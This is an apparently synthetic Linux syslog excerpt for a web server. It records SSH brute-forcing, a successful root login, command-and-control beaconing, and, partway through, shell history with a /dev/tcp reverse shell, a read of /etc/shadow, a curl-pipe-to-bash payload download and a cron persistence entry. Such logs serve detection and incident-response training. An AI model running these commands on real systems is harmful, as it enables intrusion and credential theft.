Jan 15 08:00:01 webserver01 CRON[12340]: (root) CMD (/usr/lib/apt/apt.systemd.daily)
Jan 15 08:00:01 webserver01 CRON[12341]: (www-data) CMD (/opt/scripts/rotate-logs.sh)
Jan 15 08:01:12 webserver01 kernel: [234567.123456] EXT4-fs (sda1): re-mounted. Opts: errors=continue
Jan 15 08:02:33 webserver01 systemd[1]: Starting Daily apt download activities...
Jan 15 08:02:34 webserver01 systemd[1]: Started Daily apt download activities.
Jan 15 08:05:00 webserver01 CRON[12355]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:05:22 webserver01 sshd[12400]: Accepted publickey for deploy from 10.0.1.50 port 43210 ssh2: RSA SHA256:abc123def456
Jan 15 08:05:22 webserver01 systemd-logind[800]: New session 142 of user deploy.
Jan 15 08:06:01 webserver01 CRON[12410]: (root) CMD (/usr/sbin/ntpdate pool.ntp.org)
Jan 15 08:10:00 webserver01 CRON[12415]: (www-data) CMD (php /var/www/html/artisan schedule:run)
Jan 15 08:12:44 webserver01 kernel: [234890.654321] TCP: eth0: driver bug, NAPI not enabled
Jan 15 08:15:00 webserver01 CRON[12420]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:15:03 webserver01 systemd[1]: Starting Cleanup of Temporary Directories...
Jan 15 08:15:04 webserver01 systemd[1]: Finished Cleanup of Temporary Directories.
Jan 15 08:17:22 webserver01 sshd[12500]: Failed password for root from 45.227.254.8 port 52340 ssh2
Jan 15 08:17:24 webserver01 sshd[12501]: Failed password for root from 45.227.254.8 port 52341 ssh2
Jan 15 08:17:26 webserver01 sshd[12502]: Failed password for root from 45.227.254.8 port 52342 ssh2
Jan 15 08:17:28 webserver01 sshd[12503]: Failed password for root from 45.227.254.8 port 52343 ssh2
Jan 15 08:17:30 webserver01 sshd[12504]: Failed password for root from 45.227.254.8 port 52344 ssh2
Jan 15 08:17:32 webserver01 sshd[12505]: Failed password for invalid user admin from 45.227.254.8 port 52345 ssh2
Jan 15 08:17:34 webserver01 sshd[12506]: Failed password for invalid user admin from 45.227.254.8 port 52346 ssh2
Jan 15 08:17:36 webserver01 sshd[12507]: Failed password for invalid user test from 45.227.254.8 port 52347 ssh2
Jan 15 08:17:38 webserver01 sshd[12508]: Failed password for invalid user ubuntu from 45.227.254.8 port 52348 ssh2
Jan 15 08:17:40 webserver01 sshd[12509]: Failed password for invalid user deploy from 45.227.254.8 port 52349 ssh2
Jan 15 08:18:01 webserver01 sshd[12510]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.227.254.8
Jan 15 08:20:00 webserver01 CRON[12520]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:21:11 webserver01 kernel: [235200.112233] audit: type=1400 msg=audit(1705305671.123:456): apparmor="ALLOWED" operation="open" profile="/usr/sbin/ntpd"
Jan 15 08:22:15 webserver01 sshd[12550]: Failed password for root from 185.220.101.34 port 61200 ssh2
Jan 15 08:22:17 webserver01 sshd[12551]: Failed password for root from 185.220.101.34 port 61201 ssh2
Jan 15 08:22:19 webserver01 sshd[12552]: Failed password for root from 185.220.101.34 port 61202 ssh2
Jan 15 08:22:21 webserver01 sshd[12553]: Failed password for root from 185.220.101.34 port 61203 ssh2
Jan 15 08:22:23 webserver01 sshd[12554]: Failed password for invalid user postgres from 185.220.101.34 port 61204 ssh2
Jan 15 08:22:25 webserver01 sshd[12555]: Failed password for invalid user oracle from 185.220.101.34 port 61205 ssh2
Jan 15 08:22:27 webserver01 sshd[12556]: Failed password for invalid user mysql from 185.220.101.34 port 61206 ssh2
Jan 15 08:22:29 webserver01 sshd[12557]: Failed password for invalid user ftpuser from 185.220.101.34 port 61207 ssh2
Jan 15 08:25:00 webserver01 CRON[12560]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:25:01 webserver01 CRON[12561]: (www-data) CMD (php /var/www/html/artisan schedule:run)
Jan 15 08:27:44 webserver01 systemd[1]: Starting logrotate.service...
Jan 15 08:27:45 webserver01 systemd[1]: logrotate.service: Succeeded.
Jan 15 08:30:00 webserver01 CRON[12570]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:30:12 webserver01 sshd[12600]: Accepted password for www-data from 10.0.1.25 port 55432 ssh2
Jan 15 08:30:12 webserver01 systemd-logind[800]: New session 143 of user www-data.
Jan 15 08:32:01 webserver01 kernel: [235800.998877] [UFW BLOCK] IN=eth0 OUT= MAC=aa:bb:cc:dd:ee:ff SRC=192.168.1.1 DST=10.0.1.10 LEN=60 PROTO=TCP SPT=44321 DPT=3389
Jan 15 08:33:15 webserver01 sshd[12620]: Failed password for root from 103.75.33.210 port 48890 ssh2
Jan 15 08:33:17 webserver01 sshd[12621]: Failed password for root from 103.75.33.210 port 48891 ssh2
Jan 15 08:33:19 webserver01 sshd[12622]: Failed password for root from 103.75.33.210 port 48892 ssh2
Jan 15 08:33:21 webserver01 sshd[12623]: Failed password for root from 103.75.33.210 port 48893 ssh2
Jan 15 08:33:23 webserver01 sshd[12624]: Failed password for root from 103.75.33.210 port 48894 ssh2
Jan 15 08:33:25 webserver01 sshd[12625]: Failed password for root from 103.75.33.210 port 48895 ssh2
Jan 15 08:33:27 webserver01 sshd[12626]: Failed password for root from 103.75.33.210 port 48896 ssh2
Jan 15 08:33:29 webserver01 sshd[12627]: Accepted password for root from 103.75.33.210 port 48897 ssh2
Jan 15 08:33:29 webserver01 systemd-logind[800]: New session 144 of user root.
Jan 15 08:33:31 webserver01 sshd[12627]: pam_unix(sshd:session): session opened for user root by (uid=0)
Jan 15 08:34:02 webserver01 systemd[1]: Starting docker.service...
Jan 15 08:34:05 webserver01 systemd[1]: Started docker.service.
Jan 15 08:35:00 webserver01 CRON[12640]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:35:44 webserver01 kernel: [236100.334455] device veth3a7b8c entered promiscuous mode
Jan 15 08:36:12 webserver01 systemd[1]: Started suspicious-update.service.
Jan 15 08:36:14 webserver01 suspicious-update[12700]: Initializing connection to 198.51.100.77:443
Jan 15 08:36:16 webserver01 suspicious-update[12700]: Beacon interval set to 60s
Jan 15 08:37:00 webserver01 kernel: [236200.556677] audit: type=1400 msg=audit(1705306620.456:789): apparmor="ALLOWED" operation="exec" profile="unconfined"
Jan 15 08:37:22 webserver01 sshd[12710]: Accepted publickey for deploy from 10.0.1.50 port 43500 ssh2: RSA SHA256:abc123def456
Jan 15 08:37:22 webserver01 systemd-logind[800]: New session 145 of user deploy.
Jan 15 08:38:01 webserver01 CRON[12720]: (root) CMD (/usr/sbin/ntpdate pool.ntp.org)
Jan 15 08:40:00 webserver01 CRON[12730]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:40:01 webserver01 CRON[12731]: (www-data) CMD (php /var/www/html/artisan schedule:run)
Jan 15 08:41:55 webserver01 kernel: [236500.778899] TCP: eth0: possible SYN flooding on port 80. Sending cookies.
Jan 15 08:42:03 webserver01 kernel: [236508.889900] nf_conntrack: table full, dropping packet
Jan 15 08:43:00 webserver01 systemd[1]: Reloading nginx.service...
Jan 15 08:43:01 webserver01 systemd[1]: Reloaded nginx.service.
Jan 15 08:44:17 webserver01 sudo: deploy : TTY=pts/2 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/apt update
Jan 15 08:44:18 webserver01 sudo: pam_unix(sudo:session): session opened for user root by deploy(uid=1001)
Jan 15 08:45:00 webserver01 CRON[12750]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:46:33 webserver01 sshd[12760]: Disconnected from user deploy 10.0.1.50 port 43500
Jan 15 08:46:33 webserver01 systemd-logind[800]: Removed session 145.
Jan 15 08:47:22 webserver01 kernel: [236800.112233] [UFW BLOCK] IN=eth0 OUT= MAC=aa:bb:cc:dd:ee:ff SRC=10.0.0.5 DST=10.0.1.10 LEN=52 PROTO=TCP SPT=12345 DPT=4444
Jan 15 08:48:01 webserver01 bash[12800]: HISTORY: PID=12800 UID=0 bash -i >& /dev/tcp/198.51.100.77/4444 0>&1
Jan 15 08:48:02 webserver01 kernel: [236840.334455] audit: type=1300 msg=audit(1705307282.789:890): arch=c000003e syscall=59 success=yes exe="/bin/bash" subj=unconfined
Jan 15 08:48:05 webserver01 bash[12800]: HISTORY: PID=12800 UID=0 whoami
Jan 15 08:48:07 webserver01 bash[12800]: HISTORY: PID=12800 UID=0 cat /etc/shadow
Jan 15 08:48:10 webserver01 bash[12800]: HISTORY: PID=12800 UID=0 uname -a
Jan 15 08:48:15 webserver01 bash[12800]: HISTORY: PID=12800 UID=0 curl -s http://198.51.100.77/payload.sh | bash
Jan 15 08:49:00 webserver01 systemd[1]: Started backdoor-persist.service.
Jan 15 08:49:02 webserver01 backdoor-persist[12850]: Persistence mechanism installed in /etc/cron.d/sys-update
Jan 15 08:50:00 webserver01 CRON[12860]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:50:01 webserver01 CRON[12861]: (www-data) CMD (php /var/www/html/artisan schedule:run)
Jan 15 08:51:12 webserver01 systemd[1]: Starting mysql.service...
Jan 15 08:51:15 webserver01 systemd[1]: Started mysql.service.
Jan 15 08:52:00 webserver01 kernel: [237000.556677] EXT4-fs (sda1): recovery complete
Jan 15 08:53:22 webserver01 sshd[12900]: Accepted publickey for deploy from 10.0.1.50 port 43700 ssh2: RSA SHA256:abc123def456
Jan 15 08:53:22 webserver01 systemd-logind[800]: New session 146 of user deploy.
Jan 15 08:54:01 webserver01 CRON[12910]: (root) CMD (/usr/sbin/ntpdate pool.ntp.org)
Jan 15 08:55:00 webserver01 CRON[12920]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 08:55:01 webserver01 CRON[12921]: (root) CMD (/etc/cron.d/sys-update)
Jan 15 08:56:33 webserver01 systemd[1]: Stopping postfix.service...
Jan 15 08:56:34 webserver01 systemd[1]: Stopped postfix.service.
Jan 15 08:56:35 webserver01 systemd[1]: Starting postfix.service...
Jan 15 08:56:36 webserver01 systemd[1]: Started postfix.service.
Jan 15 08:57:00 webserver01 kernel: [237200.778899] audit: type=1400 msg=audit(1705307820.123:901): apparmor="ALLOWED" operation="open" profile="/usr/sbin/mysqld"
Jan 15 08:58:12 webserver01 sshd[12950]: Disconnected from user www-data 10.0.1.25 port 55432
Jan 15 08:58:12 webserver01 systemd-logind[800]: Removed session 143.
Jan 15 08:59:00 webserver01 CRON[12960]: (root) CMD (/opt/monitoring/healthcheck.sh)
Jan 15 09:00:00 webserver01 CRON[12970]: (root) CMD (/usr/lib/apt/apt.systemd.daily)
Jan 15 09:00:01 webserver01 CRON[12971]: (www-data) CMD (/opt/scripts/rotate-logs.sh)
Jan 15 09:00:02 webserver01 CRON[12972]: (www-data) CMD (php /var/www/html/artisan schedule:run)